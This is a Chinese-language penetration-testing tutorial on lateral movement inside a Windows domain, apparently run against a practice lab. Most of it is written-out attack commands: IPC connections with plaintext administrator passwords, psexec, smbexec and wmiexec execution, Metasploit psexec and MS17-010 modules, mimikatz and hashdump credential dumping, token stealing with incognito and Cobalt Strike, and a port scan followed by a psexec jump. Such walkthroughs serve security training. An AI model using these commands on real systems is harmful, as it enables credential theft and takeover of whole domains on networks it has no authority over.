横向移动外部工具的使用
psexec
首先已经获得了一个主机的会话,通过横向移动获得另一个主机的会话
在已获得的shell中输入
net use \192.168.52.141 /user:administrator “密码”
(1)psexec
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec使用
建立IPC连接,无需输入密码
net use \192.168.52.141 /user:administrator “密码”
反弹cmd
psexec.exe \192.168.52.141 -s cmd.exe -acceptcula
执行命令
psexec.exe \192.168.52.141 whoami -acceptcula
psexec.py
与官方psexec.exe相比会自动删除服务,增加隐蔽性
psexec.exe god/Administrator:hongrisec@2019@192.168.52.141 whoami Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
psexec.py
psexec.py god/Administrator:hongrisec@2019@192.168.52.141 whoami Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
演示如下:
其中的账号和密码是通过第一个shell的会话,通过mimikatz获取到的
load mimikatz
ssp 查看密码
psexec.exe god/Administrator:hongrisec@2019@192.168.52.141 whoami
该工具应用的前提是另一台主机已经开启了IPC连接,且在同一个域中
在已经获取的shell中,我们net share后可以看到开启了共享连接
如果我们通过扫描域中的存活主机时,可以先建立一个IPC连接,进行横向移动去访问,我们可以输入以下命令去添加IPC连接
net use \192.168.52.141\ipc$ /user:Administrator “hongrisec@2019”
因为大多数情况下是自动添加的
删除IPC连接
net use \192.168.52.141\ipc$ /del
发现win03也开启IPC连接了
psexec.exe god/Administrator:hongrisec@2019@192.168.52.141(后面不加内容,返回的是一个cmd窗口)
psexec.exe god/Administrator:hongrisec@2019@192.168.52.141 ipconfig
Smbexec
(2)Smbexec
smbexec是一款基于pexec的域渗透测试工具,并配套samba工具。
smbexec.exe god/Administrator:hongrisec@2019@192.168.52.141
Wmiexec
单命令执行
cscript.exe //nologo C:\Users\Administrator\Desktop\wmiexec.vbs /cmd ip username password “whoami”
cscript.exe //nologo C:\Users\Administrator\Desktop\wmiexec.vbs /cmd 192.168.52.141 god/Administrator Lza20001103 “whoami”
msf模块
(1)psexec_command
auxiliary/admin/smb/psexec_command
use auxiliary/admin/smb/psexec_command
options
set command whoami
set SMBDomain god
set SMBUser Administrator
set SMBPass Lza20001103
run
(2)psexec
exploit/windows/smb/psexec
use exploit/windows/smb/psexec
set rhosts 192.168.52.141
set SMBDomain god
set smbUser Administrator
set smbPass Lza20001103
run
(3)smb
auxiliary/admin/smb/ms17_010_command
run
(4)Token窃取
在Metasploit中,可使用incognito实现token窃取,Metasploit中的incognito,是从windows平台下的incognito移植过来的
加载incognito模块
load incognito
列举token:
list_tokens -u
查看当前的token:
getuid
提升至system权限
getsystem
tokens窃取
impersonate_token “NT AUTHORITY\SYSTEM”
从进程窃取token
steal_token 4500
返回之前token
rev2self,drop_token
我们窃取token的目的在于获取域管理员的权限,相当于获取了域控的权限。获取到了域控的权限后,我们局可以横向移动去控制域内的其他机器。
下面我给大家颜演示一下,进入会话后,我们发现已经是域内的管理员的权限了,getuid,提升权限后,就是system权限了
我们在尝试一下窃取token,返回到域管理员权限中,输入ps我们查看一下进程
PID为2296是域管理员的token
steal_token 2296(窃取2296的token)
list_tokens -u(查看可用你的token列表)
发现成为了域管理员的权限了。
我提升为system权限后,输入rev2self,又返回了域管理员的权限,当我们输入
impersonate_token “NT AUTHORITY\SYSTEM”
提升到system权限了
cs模块
139 IPC连接
445 smb服务
接下来给大家演示一下,在cs中如何对当前的机器的同一网段进行横向移动,获取统一网段其他主机的会话
shell whoami
shell ipconfig
我们就需要探测这个52.0网段是否有主机存活,我们需要知道内网主机是否开启IPC连接,139.445,3389端口是否开发,密码的获取
我们可以通过hashdump获取密文密码,和mimikatz获取明文密码
我们点击右键hashdump
mimikatz获取明文密码
logonpasswords
- 我们获取到了某一主机的账号和密码
- Username : Administrator
- Password : Lza20001103
我们可以在上方的View的Credentials查看各个主机的账号和密码
我们得到账号和密码后,就进行横向移动,去进行主机存活的探测,我们选择Explore下的Port Scan模块
我们选择对应网段和端口进行探测
portscan 192.168.52.0-192.168.52.255 21,22,80,139.445,3389 arp 1024
我们选择192.168.52.141主机进行攻击,右键选择Jump的psexec模块进行横向移动
我们选用域管理员的权限,监听器使用刚刚创建的test,会话就是我们所获得的当前的会话
实验其实是执行成功了,应该返回的是另一台主机的会话的,但是这里我用的是红日靶场的靶机,没有返回成功,不知道是什么原因,应该是权限的问题,但自己搭建的主机应该可以返回会话的,大家试一下吧
![在
(5.2)CS-Token窃取
shell C:\Users\Administrator\Desktop\incognito.exe list_tokens -u(列出token列表)
shell whoami
getuid
make_token god/Administrator Lza20001103
制作一个token,域内的管理员用户,可以查看域控的C盘目录,如果不是域内的用户或者无法登录到域控是无法查看域控的C盘的
getuid
shell dir \192.168.52.138\c$
rev2self 返回了之前的其他域用户或域管理员的权限,是无法访问到这个域控的
shell dir \192.168.52.138\c$
getuid
ps 进程
steal_token 2996
getuid
shell dir \192.168.52.138\c$
我们通过查看进程和token窃取获得了该主机的system权限,进而我们可以进行横向移动获取其他主机的权限
可以通过cs的explore下的Progress List模块,查看进程列表
(6)SharpRDP
远程桌面协议控制台应用程序,可用于对横向目标执行对远程目标的经过身份验证的命令执行。